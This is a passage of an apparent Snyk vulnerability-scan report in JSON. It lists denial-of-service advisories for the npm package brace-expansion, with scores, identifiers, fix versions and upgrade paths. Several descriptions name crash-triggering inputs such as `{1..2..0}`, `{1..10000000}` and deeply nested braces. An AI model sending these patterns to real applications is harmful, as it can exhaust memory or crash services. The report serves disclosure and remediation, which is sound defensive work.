Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": 